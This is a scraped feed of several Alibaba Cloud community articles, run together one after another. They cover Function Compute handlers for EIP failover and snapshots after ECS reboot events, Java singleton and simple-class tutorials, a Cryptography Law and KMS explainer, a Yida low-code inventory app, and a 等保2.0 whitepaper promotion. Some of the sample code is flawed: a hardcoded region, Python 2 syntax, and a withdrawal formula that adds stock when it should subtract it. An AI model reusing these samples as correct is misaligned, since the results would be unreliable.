        阿里云函数计算是一个事件驱动的全托管计算服务。通过函数计算,您无需管理服务器等基础设施,只需编写代码并上传。函数计算会为您准备好计算资源,以弹性、可靠的方式运行您的代码,并提供日志查询,性能监控,报警等功能。借助于函数计算,您可以快速构建任何类型的应用和服务,无需管理和运维。更棒的是,您只需要为代码实际运行消耗的资源付费,而代码未运行则不产生费用。

        云监控

        阿里云云监控为云上用户提供开箱即用的企业级开放型一站式监控解决方案。涵盖IT设施基础监控,外网网络质量拨测监控,基于事件、自定义指标、日志的业务监控。为您全方位提供更高效、更全面、更省钱的监控服务。
        云监控提供了丰富事件,并且事件还在不断丰富中(云产品系统事件监控), 丰富的事件触发自定义处理的函数,可以实现更加完美的的自动化运维。

        专题传送门 => 函数计算进行自动化运维专题

        示例场景

        假设两台ECS机器A, B, A 机器出现了宕机,这个时候需要把A机器上的eip迁移到备用机器B上,这个利用云监控的报警和函数计算可以实现EIP的自动迁移, 云监控检测到A宕机这个事件,然后触发函数执行,函数实现eip的自动迁移

        操作步骤

        注:记得给函数的service的role设置操作ecs和eip的权限
        1

        2

        3

        4

        • mock调试

        5

        6

        7

        代码

        # -*- coding: utf-8 -*-
        import logging
        import json, random, string, time
        from aliyunsdkcore import client
        from aliyunsdkvpc.request.v20160428.AssociateEipAddressRequest import AssociateEipAddressRequest
        from aliyunsdkvpc.request.v20160428.UnassociateEipAddressRequest import UnassociateEipAddressRequest
        from aliyunsdkvpc.request.v20160428.DescribeEipAddressesRequest import DescribeEipAddressesRequest
        from aliyunsdkcore.auth.credentials import StsTokenCredential
        LOGGER = logging.getLogger()
        clt = None
        def handler(event, context):
          creds = context.credentials
          sts_token_credential = StsTokenCredential(creds.access_key_id, creds.access_key_secret, creds.security_token)
          '''
          {
            "product": "ECS",
            "content": {
                "executeFinishTime": "2018-06-08T01:25:37Z",
                "executeStartTime": "2018-06-08T01:23:37Z",
                "ecsInstanceName": "timewarp",
                "eventId": "e-t4nhcpqcu8fqushpn3mm",
                "eventType": "InstanceFailure.Reboot",
                "ecsInstanceId": "i-bp18l0uopocfc98xxxx" 
            },
            "resourceId": "acs:ecs:cn-hangzhou:123456789:instance/i-bp18l0uopocfc98xxxx",
            "level": "CRITICAL",
            "instanceName": "instanceName",
            "status": "Executing",
            "name": "Instance:SystemFailure.Reboot:Executing", 
            "regionId": "cn-hangzhou"
          }
          '''
          evt = json.loads(event)
          content = evt.get("content");
          ecsInstanceId = content.get("ecsInstanceId");
          regionId = evt.get("regionId");
          
          global clt
          clt = client.AcsClient(region_id=regionId, credential=sts_token_credential)
          
          name = evt.get("name");
          eipId = "eip-bp1nexxxc7zjfnex6i0";
          standbyEcsId = "i-bp19yycxx7yroukxpv"
          name = name.lower()
          
          if name in ['Disk:Stalled:Executing'.lower(), 'Instance:SystemFailure.Reboot:Executing'.lower(), "Instance:InstanceFailure.Reboot:Executing".lower()]:
            print("move eip to standbyEcs");
            move_eip(ecsInstanceId, standbyEcsId, eipId) # move eip to standbyEcs
          else:
            # other event to do 
            pass
          
        def getEipStatus(eip):
          request = DescribeEipAddressesRequest()
          request.set_AllocationId(eip)
          request.add_query_param("RegionId", "cn-hangzhou")
          response = _send_request(request)
          if isinstance(response, dict) and "RequestId" in response:
            EipAddresses = response.get('EipAddresses', {})
            EipAddress = EipAddresses['EipAddress'][0]
            status = EipAddress['Status']
            return status
          else:
            LOGGER.error("getEipAddressDesc {} fail".format(eip))
        def unAssociateEip(ecs_id, eip):
          request = UnassociateEipAddressRequest()
          request.set_AllocationId(eip)
          request.set_InstanceType('EcsInstance')
          request.set_InstanceId(ecs_id)
          response = _send_request(request)
          if isinstance(response, dict) and "RequestId" in response:
            LOGGER.info("UnassociateEipAddress {} from {} succ".format(ecs_id, eip))
          else:
            LOGGER.error("UnassociateEipAddress {} from {} fail".format(ecs_id, eip))
        def associateEip(ecs_id, eip):
          associte_request = AssociateEipAddressRequest()
          associte_request.set_AllocationId(eip)
          associte_request.set_InstanceType('EcsInstance')
          associte_request.set_InstanceId(ecs_id)
          associte_response = _send_request(associte_request)
          if isinstance(associte_response, dict) and "RequestId" in associte_response:
            LOGGER.info("AssociateEipAddress {} to {} succ".format(eip, ecs_id))
            return True
          return False
        def move_eip(from_ecs, to_ecs, eip):
          unAssociateEip(from_ecs, eip)
          # wait unAssociateEip ...
          time.sleep(3)
          # retry 30s util sucess
          for i in xrange(10):
            eip_status = getEipStatus(eip).lower()
            if eip_status == 'available':
              if associateEip(to_ecs, eip):
                LOGGER.info("AssociateEipAddress {} to {} succ".format(eip, to_ecs))
                return
            else:
              LOGGER.info("eip status = {}".format(eip_status))
              time.sleep(3)
          LOGGER.info("AssociateEipAddress {} to {} fail".format(eip, to_ecs))
        # send open api request
        def _send_request(request):
            request.set_accept_format('json')
            try:
                response_str = clt.do_action_with_exception(request)
                LOGGER.info(response_str)
                response_detail = json.loads(response_str)
                return response_detail
            except Exception as e:
                LOGGER.error(e)

        “ 阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        函数计算自动化运维实战3 -- 事件触发自动创建快照-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 函数计算

        阿里云函数计算是一个事件驱动的全托管计算服务。通过函数计算,您无需管理服务器等基础设施,只需编写代码并上传。函数计算会为您准备好计算资源,以弹性、可靠的方式运行您的代码,并提供日志查询,性能监控,报警等功能。借助于函数计算,您可以快速构建任何类型的应用和服务,无需管理和运维。更棒的是,您只需要为代码实际运行消耗的资源付费,而代码未运行则不产生费用。

        云监控

        阿里云云监控为云上用户提供开箱即用的企业级开放型一站式监控解决方案。涵盖IT设施基础监控,外网网络质量拨测监控,基于事件、自定义指标、日志的业务监控。为您全方位提供更高效、更全面、更省钱的监控服务。
        云监控提供了丰富事件,并且事件还在不断丰富中(云产品系统事件监控), 丰富的事件触发自定义处理的函数,可以实现更加完美的的自动化运维。

        专题传送门 => 函数计算进行自动化运维专题

        示例场景

        在本文中,重点关注函数计算对ecs的重启事件处理,因为这些ecs重启事件是目前用户需要很高优先级用户优先级去响应的;假设之前一台ecs 发生因系统错误而重启,用户可能会紧急起来做一些验证或者创建快照的处理, 在本示例中,我们对一台因为系统错误实例重启或者因实例错误而重启的机器进行自动化处理,比如成功重启后创建快照处理。

        ecs 系统事件
        1

        云产品系统事件监控
        2

        操作步骤

        注:记得给函数的service的role设置操作ecs的权限

        3

        • 登录云监控控制台, 创建报警规则, 监控的事件为ecs 因实例错误或西戎错误重启开始和结束
          4

        5
        6

        • mock调试
          7

        8

        9

        代码

        # -*- coding: utf-8 -*-
        import logging
        import json, random, string, time
        from aliyunsdkcore import client
        from aliyunsdkecs.request.v20140526.DeleteSnapshotRequest import DeleteSnapshotRequest
        from aliyunsdkecs.request.v20140526.CreateSnapshotRequest import CreateSnapshotRequest
        from aliyunsdkecs.request.v20140526.DescribeDisksRequest import DescribeDisksRequest
        from aliyunsdkcore.auth.credentials import StsTokenCredential
        LOGGER = logging.getLogger()
        clt = None
        def handler(event, context):
          creds = context.credentials
          sts_token_credential = StsTokenCredential(creds.access_key_id, creds.access_key_secret, creds.security_token)
          '''
          {
            "product": "ECS",
            "content": {
                "executeFinishTime": "2018-06-08T01:25:37Z",
                "executeStartTime": "2018-06-08T01:23:37Z",
                "ecsInstanceName": "timewarp",
                "eventId": "e-t4nhcpqcu8fqushpn3mm",
                "eventType": "InstanceFailure.Reboot",
                "ecsInstanceId": "i-bp18l0uopocfc98xxxx" 
            },
            "resourceId": "acs:ecs:cn-hangzhou:123456789:instance/i-bp18l0uopocfc98xxxx",
            "level": "CRITICAL",
            "instanceName": "instanceName",
            "status": "Executing",
            "name": "Instance:SystemFailure.Reboot:Executing", 
            "regionId": "cn-hangzhou"
          }
          '''
          evt = json.loads(event)
          content = evt.get("content");
          ecsInstanceId = content.get("ecsInstanceId");
          regionId = evt.get("regionId");
          global clt
          clt = client.AcsClient(region_id=regionId, credential=sts_token_credential)
          name = evt.get("name");
          name = name.lower()
          if name in ['Instance:SystemFailure.Reboot:Executing'.lower(), "Instance:InstanceFailure.Reboot:Executing".lower()]:
            pass
            # do other things
          
          if name in ['Instance:SystemFailure.Reboot:Executed'.lower(), "Instance:InstanceFailure.Reboot:Executed".lower()]:
            request = DescribeDisksRequest()
            request.add_query_param("RegionId", "cn-shenzhen")
            request.set_InstanceId(ecsInstanceId)
            response = _send_request(request)
            disks = response.get('Disks').get('Disk', [])
            for disk in disks:
              diskId = disk["DiskId"]
              SnapshotId = create_ecs_snap_by_id(diskId)
              LOGGER.info("Create ecs snap sucess, ecs id = %s , disk id = %s ", ecsInstanceId, diskId)
            
        def create_ecs_snap_by_id(disk_id):
            LOGGER.info("Create ecs snap, disk id is %s ", disk_id)
            request = CreateSnapshotRequest()
            request.set_DiskId(disk_id)
            request.set_SnapshotName("reboot_" + ''.join(random.choice(string.ascii_lowercase) for _ in range(6)))
            response = _send_request(request)
            return response.get("SnapshotId")
        # send open api request
        def _send_request(request):
            request.set_accept_format('json')
            try:
                response_str = clt.do_action_with_exception(request)
                LOGGER.info(response_str)
                response_detail = json.loads(response_str)
                return response_detail
            except Exception as e:
                LOGGER.error(e)

        “ 阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        Java面试 - 什么是单例设计模式,为什么要使用单例设计模式,如何实现单例设计模式(饿汉式和懒汉式)?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 什么是单例设计模式?

        单例设计模式就是一种控制实例化对象个数的设计模式。

        为什么要使用单例设计模式?

        使用单例设计模式可以节省内存空间,提高性能。因为很多情况下,有些类是不需要重复产生对象的。
        如果重复产生对象的话,会导致大量的内存空间被占用,性能降低。
        例如:在程序启动中,加载已保存的数据信息。这些数据信息是由一个单例对象统一读取,其他程序只需要通过这个单例对象获取加载的数据信息即可。

        单例设计模式分为饿汉式和懒汉式。饿汉式是在系统加载类的时候就会自动提供类的实例化对象如Computer computer。
        懒汉式是在第一次使用的时候进行实例化对象处理。

        饿汉式单例设计模式实现源码:

        class Computer{
        
          //1、私有化 Computer 构造函数
          private Computer(){
            System.out.println("私有化 Computer 构造函数");
          }
          public void printInfo(){
            System.out.println("Computer 类使用的就是单例设计模式");
          }
        
          // 2、调用私有化 Computer 构造函数并将computer属性设置为static
          private static Computer computer = new Computer();
        
          // 3、提供getCompter()方法,便于调用
          public static Computer getCompter(){
            return computer;
          }
        }
        
        public class Demo {
        
          public static void main(String[] args) {
            // 产生单例对象
            Computer computer = Computer.getCompter();
        
            // 调用printInfo()方法
            computer.printInfo();
          }
        }

        运行结果:

        私有化 Computer 构造函数
        Computer 类使用的就是单例设计模式

        饿汉式单例设计模式的实现过程分析:

        1、所有新的实例化对象的产生都会调用构造方法,如果无法正常调用构造方法的话,也就不能产生新的实例化对象。
        如果想控制实例化对象个数的话,那么就应该控制构造函数。因此首先将该类的构造方法定义为私有方法。

        private Computer(){
            System.out.println("私有化Computer 构造函数");
          }

        2、类的构造方法私有化后,在类的外部就不能产生实例化对象。但是Private 修饰的构造方法可以在类的内部访问。
        如果要访问Private 修饰的构造方法,可以在类的内部调用构造函数。

        private Computer computer = new Computer();

        3、computer 作为普通属性,只有在实例化对象产生之后才能被调用。由于类的外部无法产生实例化对象,如果想获取
        computer 属性,可以将computer 属性设置为static。

        private static Computer computer = new Computer();

        4、对于private 属性 computer来说,如果想在类的外部获取该属性,则需要通过getComputer()方法获取。

        public static Computer getCompter(){
            return computer;
          }

        由于饿汉式在类加载的时候就完成了对象实例化,如果程序始终没有用到这个实例化对象,那么就会造成内存空间的浪费。
        为了不浪费内存空间,懒汉式是在第一次使用的时候进行实例化对象处理。

        懒汉式单例设计模式实现源码:

        class Computer{
        
          //1、私有化 Computer 构造函数
          private Computer(){
            System.out.println("私有化 Computer 构造函数");
          }
          public void printInfo(){
            System.out.println("Computer 类使用的就是单例设计模式");
          }
        
          // 2、调用私有化 Computer 构造函数并将computer属性设置为static
          private static Computer computer;
        
          // 3、提供getCompter()方法,便于调用
          public static Computer getCompter(){
        
            // 懒汉式,按需创建 即在第一次使用的时候进行实例化对象
            if(computer == null){
              computer = new Computer();
            }
            return computer;
          }
        }
        
        public class Demo {
          public static void main(String[] args) {
            // 产生单例对象
            Computer computer = Computer.getCompter();
        
            // 调用printInfo()方法
            computer.printInfo();
          }
        }

        运行结果:

        私有化 Computer 构造函数
        Computer 类使用的就是单例设计模式

        懒汉式单例设计模式的实现源码分析:

        为了避免实例化的对象始终没有被使用,造成内存空间的浪费,所以增加了对实例化对象的判断,
        即如果实例化对象为null 则创建实例化对象。

        // 懒汉式,按需创建 即只有在第一次使用的时候才进行实例化对象
            if(computer == null){
              computer = new Computer();
            }

        但是如果在多线程下,会出现这样的情况即一个线程进入了if 语句, 另一个线程也通过了if语句。
        这样就产生了多个实例化对象。 为了避免这样的问题,可以采用双重加锁机制。

        双重加锁机制优化懒汉式源码:

        class Computer{
          //1、私有化 Computer 构造函数
          private Computer(){
            System.out.println("私有化 Computer 构造函数");
          }
        
          public void printInfo(){
            System.out.println("Computer 类使用的就是单例设计模式");
          }
        
          // 2、调用私有化 Computer 构造函数并将computer属性设置为static
          private volatile static Computer computer;
        
          // 3、提供getCompter()方法,便于调用
          public static Computer getCompter(){
            // 第一次检查
            if(computer == null){
              // 加锁
              synchronized (Computer.class){
                // 第二次检查
                if (computer == null){
                  computer = new Computer();
                }
              }
            }
            return computer;
          }
        }
        
        public class Demo {
          public static void main(String[] args) {
            // 产生单例对象
            Computer computer = Computer.getCompter();
        
            // 调用printInfo()方法
            computer.printInfo();
          }
        }
        

        运行结果:

        私有化 Computer 构造函数
        Computer 类使用的就是单例设计模式

        双重加锁机制优化懒汉式源码分析:

         // 2、调用私有化 Computer 构造函数并将computer属性设置为static
          private volatile static Computer computer;
        
          // 3、提供getCompter()方法,便于调用
          public static Computer getCompter(){
            // 第一次检查
            if(computer == null){
              // 加锁
              synchronized (Computer.class){
                // 第二次检查
                if (computer == null){
                  computer = new Computer();
                }
              }
            }
            return computer;
          }

        1、volatile可以保证多线程下的可见性即保证了子线程的会跟主线程的一致。
        2、当thread2,进入第一个if(computer == null) 语句,子线程的computer为空的,thread2释放资源给thread3。
        3、当thread3,进入第一个if(computer == null) 语句,子线程的computer为空的,thread3释放资源给thread2。
        4、当thread2,进入第二个if(computer == null) 语句,执行computer = new Computer(),实例化对象computer,volatile修饰的变量computer,会马上同步到主线程的变量computer,执行完成后thread2释放资源给thread3。
        5、当thread3,进入第二个if (computer == null) 语句,此时子线程的computer不为空,所以thread3不再会重复实例化computer。

        ]]>
        28天后密码法正式施行 必备功课做完了吗?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 距离2020年1月1日《中华人民共和国密码法》(简称“密码法”)正式施行,还剩28天。密码法都做了哪些规定,与我们个人和企业有什么关系,在新法正式施行前我们应该怎么做好准备?今天我们就来聊一聊密码法相关的那些事。

        密码法最受关注的四大问题

        密码法的“密码”指的是什么?

        一提到密码,我们都会联想到银行密码、手机密码、支付密码、账号密码等等,但此密码并非彼密码。

        密码法里的密码指的是使用特定变换对信息等进行加密保护或者安全认证的产品、技术和服务。所以对于硬件安全模块、服务器密码机、数字证书认证系统等核心功能属于加密保护或安全认证的产品都属于密码产品。

        按照密码的功能形态分为核心密码、普通密码和商用密码。核心密码和普通密码是用来保护国家秘密信息,商用密码是用于保护不属于国家秘密的信息的密码,是互联网和其他行业使用最为广泛的类型。

        那么重点来了,密码法跟谁有关?

        一切使用加密保护、安全认证技术、产品和服务进行保护的企业及组织,尤其是影响国计民生、社会公共利益和秩序的单位,都应该合理使用密码来保障数据安全。

        对于使用商用密码的企业及组织还需要开展商用密码应用安全性评估。在2019年12月1日正式实施的等保2.0中,就对网络安全第三级及以上等级保护对象做出了明确的密码应用安全性评测标准。对于可能影响国家安全的关键信息基础设施的运营者还需要按照监管要求进行审查。

        “密码应用安全性评估”涉及哪些内容?

        密码应用安全性评估对于网络对象采集、传输、存储的数据以及外围保护环境数据根据重要程度、类型提出了实现机密性、真实性、完整性和不可否认性的密码保护要求,围绕数据生命周期进行全方位的密码保护和安全管理。

        通俗来讲,密码不仅要用在数据采集、存储、传输等所有节点,而且还要有效,不能是形式主义。

        违反密码法有什么后果?

        对于不使用密码的,轻则管理部门会对违规单位进行责令改正,给予警告,重则对违规单位进行数十万的罚款,对负责人进行处分和罚款,一旦构成犯罪,还将依法追究刑事责任。

        阿里云进阶式数据加密能力助你做足功课

        根据用户对不同数据不同安全等级的需求,阿里云提供了一整套完整的进阶式数据加密能力,以及密钥管理服务,也就是密码法中的密码管理服务,让用户可以保护好云上这个“密码本”,满足不同数据加密需求。

        加密入门:可见的“默认加密”

        为了更方便的让用户对低安全级别的数据进行加密保护,而避免付出额外的密钥管理开销,阿里云在密钥管理服务KMS中为用户提供了一种自动管理密钥的功能,用户只需要在KMS中选择“服务密钥”这一功能,就可以通过KMS实现数据的自动加密,不需要用户做任何操作,且密钥的任何调用情况用户都可以在操作审计产品中看到。

        加密进阶:可见可控的全托管加密

        如果用户对数据加密有更高需求,可以不使用KMS自动生成的服务密钥功能,而是自行在KMS中管理密钥的生命周期,包括创建、删除、禁用、启用密钥等,并且在访问控制(RAM)中自主管理密钥的授权规则。该密钥是解密数据的唯一钥匙,没有用户授权密钥,任何人无法看到数据;如果密钥被删除,包括用户在内的任何人都无法解密数据。

        加密高阶:可见可控的半托管加密

        比全托管加密更高级的安全能力来自于业界普遍认可的一项技术:BYOK(Bring Your Own Key)。通俗来讲就是用户可以自己生产密钥导入云上KMS托管的硬件密码机中,这个过程是单向的,密钥只能导入不能导出,除用户之外的任何第三方都无法知晓托管密码机中的内容。除此之外用户可以随时销毁云上密钥,而仍然保有密钥的生命周期管理能力,例如,用户导入密钥对数据加密后可以删掉密钥,在数据需要被解密时再重新导入相同密钥来解密即可,这为用户提供了更多的自主权利。

        加密更高阶:自己写代码调用KMS

        相较于前三阶均是“云产品集成加密”,从该阶加密开始,用户可以自己写代码调用KMS的API能力,更加适用于对敏感数据保护有更高要求,或者为了满足GPDR及其他法律法规要求的用户,这种加密方式可以针对特定数据实现主动加密保护。用户可以根据自身的业务场景特性和业务逻辑特性来制定不同的密钥管理策略,将加密能力嵌入到业务当中,使得安全与合规需求及业务系统紧密融合,进一步减小恶意者对敏感数据的攻击面。例如:数据库TDE加密,并不能有效防止具有数据库用户或者DBA查看数据库内的敏感数据。如果业务系统对特定的敏感数据列进行自定义加密,数据库用户或者DBA则需要进一步获取密钥的权限从而查看敏感数据。

        除此之外,自定义加密的应用系统,可以更好的利用KMS内建的密钥自动轮转能力,实现密钥管理的安全策略。

        加密最高阶:自己管理HSM集群和写代码

        除了密钥管理服务KMS,阿里云还为用户提供了云服务器密码机实例。用户可以自己管理所需的密码机实例数量,自己做密钥机之间的密钥同步、备份、负载均衡等工作。在这个过程中,云服务商不参与任何密钥管理相关工作,用户不仅对密钥管理有完全的控制权,同时对硬件密码机也有完全的控制权,为最高阶的加密方式。

        从上面可以看出,阿里云这套云上密码能力体系,不仅可以帮助用户实现数据的加密保护、数字签名的产生和验证、加密密钥的自动轮转等功能,更便捷的构建密码应用和解决方案,还能赋能云上数据安全、身份认证、区块链、DevSecOps等广泛场景。

        图片 1.png
        云上密码能力地图

        密码法的颁布只是第一步,数据安全是一个系统工程。在《密码法》的指导下,企业可以借助阿里云的技术工具和安全产品强化自身的安全体系,在保障数据安全的前提下,充分享受技术红利,促进业务的持续、稳定发展。

        如果您想了解更多数据加密相关问题,可以扫描下方二维码,直连安全专家哦~

        二维码.png

        ]]>
        一则案例带你通晓简单Java类 | 带你学《Java面向对象编程》之九-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 上一篇:揭开this的神秘面纱-方法篇 | 带你学《Java面向对象编程》之八
        【本节目标】
        通过学习本节,你将了解到创建一个简单Java类时的一些规则,深刻理解“类是对客观事物的抽象”的含义,学会创建一个简单的Java类。

        综合案例:简单Java类

        在以后进行项目开发与设计的过程之中,简单Java类都将作为一个重要的组成部分存在,慢慢接触到正规的项目设计之后,简单Java类无处不在,并且有可能会产生一系列变化。
        所谓的简单Java类指的是可以描述某一类信息的程序类,例如:描述一个人、描述一本书、描述一个部门、描述一个雇员,并且在这个类之中并没有特别复杂的逻辑操作。只作为一种信息存储的媒介存在。
        对于简单Java类而言,其核心的开发结构如下:

        • 类名称一定要有意义,可以明确的描述某一类事物;
        • 类之中的所有属性都必须使用private进行封装,同时封装后的属性必须要提供有setter、getter方法;
        • 类之中可以提供有无数多个构造方法,但是必须要保留有无参构造方法;
        • 类之中不允许出现任何的输出语句,所有内容的获取必须返回;
        • 【非必须】可以提供有一个获取对象详细信息的方法,暂时将此方法名称定义为getInfo()。

        范例:定义一个简单Java类

         class Dept {             //类名称可以明确描述出某类事物
        private long deptno ;
        private String dname;
        private String loc ;
        public Dept() {}           //必须提供有无参
        public Dept(long deptno ,String dname ,String loc) {
             this.deptno = deptno ;
             this.dname = dname ;
             this.loc = loc ;
        }
        public String getInfo() {
            return “【部门信息】部门编号:” + this.deptno + “、部门名称:” + this.dname + “、部门位置:” + this.loc ;
        }
        public void setDeptno(long deptno) {
            this.deptno = deptno ;
        }
        public void setDname (String dname) {
            this.dname = dname ;
        }
        public void setLoc (String loc) {
            this.loc = loc ;
        }
        public long getDeptno() {
            return this.deptno ;
        }
        public String getDname() {
            return this.dname ;
        }
        public String getLoc () {
            return this.loc ;
        }
        }
         public class JavaDemo {          
            public static void main(String args[]) {
            Dept dept = new Dept(10 ,”技术部” ,”北京”) ;
        System.out.println(dept.getInfo()) ;
        }
        }

        image.png
        图一 执行结果一

        这种简单Java类基本上就融合了所有的现在接触到的概念,例如:数据类型划分、类的定义、private封装、构造方法、方法定义、对象实例化。
        想学习更多的Java的课程吗?从小白到大神,从入门到精通,更多精彩不容错过!免费为您提供更多的学习资源。
        本内容视频来源于阿里云大学

        更多Java面向对象编程文章查看此处

        ]]>
        公开课04期 |基于宜搭的《企业物资管理》应用搭建 Fri, 02 May 2025 09:39:04 +0800 公开课视频回放

        TB1bzLzoW61gK0jSZFlXXXDKFXa-626-336.jpg

        案例背景

        随着计算机的应用普及,目前大多数企业的物资管理数据资料已开始采用计算机数据系统管理,但数据还是采用先纸张记录、再手工输入计算机的方式进行采集和统计整理。这不仅造成大量的人力资源浪费,而且由于人为的因素,数据录入速度慢、准确率低。随着企业规模的不断发展,仓库管理的物资种类机数量在不断增加、出入库频率剧增,物资管理作业也已十分复杂和多样化,传统的人工仓库作业模式和数据采集方式已难以满足仓库管理的快速、准确要求,严重影响了企业的运行工作效率,成为制约企业发展的一大障碍。

        优势

        • 零代码,搭建快,降低时间成本
        • 维护方便,降低人力成本和经济成本
        • 完善的数据管理以及数据展示功能

        操作步骤

        物资录入

        1.参照附录1“需求及建模”的要求,搭建“物资录入”页面。
        image.png

        2.自动获取当前登陆人以及自动获取当前日期的公式,参照附录2。

        3.设置入库数量的校验条件。

        4.设置物资录入提交时的业务关联规则,参照附录3。

        物资库存表

        1.参照附录1“需求及建模”的要求,搭建“物资库存表”页面。image.png

        物资领用

        1.参照附录1“需求及建模”的要求,搭建“物资领用”页面。image.png

        2.自动获取当前登陆人以及自动获取当前日期的公式,参照附录2。

        3.设置“物资类别”和“选择物资”的选项来源。
        image.png
        image.png

        4.设置“当前库存”的默认值,为数据联动。
        image.png

        5.设置领用数量的自定义校验函数(领用数量不能大于当前库存),参照附录4。

        6.设置物资领用提交时的业务关联规则,参照附录3。

        物资入库/领用详情

        1.参照附录1“需求及建模”的要求,搭建“物资入库/领用详情”页面。
        image.png

        附录

        1.需求及建模

        应用所需搭建的页面
        image.png

        物资录入页面所需组件
        image.png

        物资领用页面所需组件
        image.png

        物资库存表页面所需组件
        image.png

        2.涉及到的公式

        • USER() 用于获取当前登陆人信息
        • TIMESTAMP(TODAY()) 获取当前日期
        • UPSERT(目标表,主条件,子条件,目标列,目标值,目标列,目标值) 用于对库存数量更新

        3.业务关联规则

        物资录入
        ``
        UPSERT(​物资库存表​,AND(EQ(​物资库存表.物资类别​,​物资类别​),EQ(​物资库存表.物资名称​,​物资名称​)),"",​物资库存表.物资类别​,​物资类别​,​物资库存表.物资名称​,​物资名称​,​物资库存表.库存数量​,​物资库存表.库存数量​+​入库数量​)
        ``

        物资领用
        ``
        UPSERT(​物资库存表​,AND(EQ(​物资库存表.物资类别​,​物资类别​),EQ(​物资库存表.物资名称​,​物资选择)),"",​物资库存表.物资类别​,​物资类别​,​物资库存表.物资名称​,​物资选择​,​物资库存表.库存数量​,​物资库存表.库存数量​+​领用数量​)
        ``

        4.自定义校验函数

        用于校验当前领用数量是否大于当前库存

        function validateRule(value) {
          const _context = window.LeGao.getContext(); //获取当前表单对象
          const data = _context.store.get("组件唯一标识符").getVal();  //获取当前表单中,对应组件的组件值
          if(value > data){  //通过if函数来比较当前组件值和data值大小
            return false;  //返回false则代表校验不通过
          }
          return true;   //返回true则代表校验通过
        }

        总结回顾

        精彩内容推荐

        公开课01期 | 基于宜搭的《T恤尺码收集》应用搭建
        公开课02期 | 客户关系管理CRM应用搭建
        公开课03期 |基于宜搭的企业报表页面搭建
        免费下载 | 《0代码,搭应用》宜搭白皮书首发

        宜搭钉钉社群

        社区群二维码.png

        ]]>
        等保2.0正式实施,阿里云发布全国首个《阿里公共云用户等保2.0合规能力白皮书》 Fri, 02 May 2025 09:39:04 +0800 《网络安全法》出台后,网络安全等级保护制度上升到了法律层面,不做等保就“等于”违法早已深入人心。等保2.0最大的特点就是从原有传统系统基础上延伸到了云计算、移动互联、物联网和大数据等新兴领域,因此云上用户从12月1日正式迎来等保2.0大考验。

        那么,问题来了,等保2.0该怎么做?

        • 云服务商已经通过等保了,云上用户是不是默认已经通过,还需要单独做等保吗?
        • 等保条款那么多,用户在云上看不见摸不着,对于新增的云计算扩展要求和物联网扩展要求,用户到底该关注哪些内容呢?
        • 在做等保过程中,云服务商到底能帮助用户做什么呢?

        面对大量的上述咨询和疑惑,阿里云在公安部信息安全等级保护评估中心指导下,发布全国首个《阿里公共云用户等保2.0合规能力白皮书》,为您一一解答。白皮书从云服务商和云上用户安全合规责任划分出发,首次公开阐述公共云上用户在不同服务模式下的安全合规责任和等保2.0适用条款,基于最典型的IaaS服务模式场景,为您提供最佳安全合规实践指引,首次深度解读云计算、物联网扩展要求合规实践。

        一、择“优”云服务商才能得优

        按照等保2.0定级指南要求,明确指出云上用户应用系统和云服务商云计算平台部分要分别作为单独的定级对象,也就是说云上用户自己的应用系统也要单独进行等保测评 。同时,云等保2.0测评要求的最新变化,测评结论从原有等保1.0时代的“符合、基本符合、不符合”变成现在的“优、良、中、差”,低于70分就是差,70分以上才算基本符合要求,因此及格分数调高了,测评要求也更严格了。

        对于用户来说想要拿到“优”,必须同时满足以下三个条件:

        1. 选择的云平台等级测评结论为优;
        2. 业务应用系统存在的问题中无中、高风险项;
        3. 得分高于90分(含90分)。

        也就是说,用户的等保测评结论与云平台绑定,只有选择测评结论为“优”的云平台,用户才有可能拿到“优”。

        作为云等保2.0时代的先行者和践行者,阿里云继2016年成为全国唯一一家云计算等保新标准试点示范单位后,又再一次成为全国首家以高分通过公安部权威机构等保2.0测评的云服务商,为云上用户拿“优”奠定了良好基础。

        二、公共云上比云下等保测评更轻松

        除了选择优质的云平台,如果用户想要拿到较好的测评结论,还需要关注哪些点呢?白皮书中明确指出云上用户等保测评范围和使用的云服务模式紧密相关。

        白皮书一方面根据IaaS、PaaS和SaaS服务模式对阿里云全系云产品进行了分类,让用户能够快速定位到自己使用的云产品到底属于哪种服务模式;另一方面在公安部信息安全等级保护评估中心指导和认可下,明确了三种服务模式下云上用户适用的等保2.0标准中的技术条款,让用户提前准备需要关注的测评指标和范围。

        图片 1.png
        图1 不同服务模式下的云上用户等保2.0技术测评项数量

        从图1不同服务模式下的云上用户等保2.0技术测评项可以看出,如果用户是自建云平台或传统IDC托管,那么等保中的所有技术条款都要进行测评。如果是IaaS用户,只需关注涉及自身虚拟基础环境和业务应用系统安全的83项技术指标,不需关注物理机房环境和云平台网络等内容,测评条款数约是自建云平台的62.4%。如果是PaaS用户则需要测评内容更少,只需要关注涉及产品配置以及自身业务应用系统安全的49项技术指标,测评范围是自建云平台的36.8%。对于SaaS用户来说,只需要关注涉及应用安全配置以及业务数据保护的45项技术指标,需要投入的人力和经费成本也最少。

        综合来讲,云时代因服务模式不同带来的云上用户合规责任的变化,使得公共云用户比自建云平台或传统IDC用户在等保2.0中投入的合规成本大幅降低,并且在PaaS和SaaS服务模式下优势更为突出,可以让用户将更多精力聚焦自身的业务应用系统和数据安全保护上。

        三、物联网扩展要求其实不难

        根据等保2.0物联网三级要求,物联网场景用户需关注包括感知节点设备物理防护、接入控制、入侵防范、感知节点设备安全、网关节点设备安全、抗数据重放、数据融合处理及感知节点管理这8大要求,共计有20条测评项。

        白皮书根据这8大要求,通过阿里云IoT安全产品进行了合规性阐述,让用户能够通过阿里云快速定位到更安全、更便捷、更轻量的安全产品。

        不论用户是自建物联网平台或使用阿里云物联网平台,用户都需要关注涉及设备物理防护及感知节点管理相关的7条技术指标。

        作为物联网领域的先驱者,阿里云具备全面的物联网安全基础设施能力,包括具有自主知识产权的物联网可信执行环境、设备身份认证、可信服务管理,并结合阿里云大数据强大的安全情报、风险检测和分析能力及人工智能构建物联网安全运营中心,为用户提供设备全生命周期安全管理服务,为用户通过物联网扩展要求奠定了坚实的基础。

        四、助力云上用户通过等保2.0考验

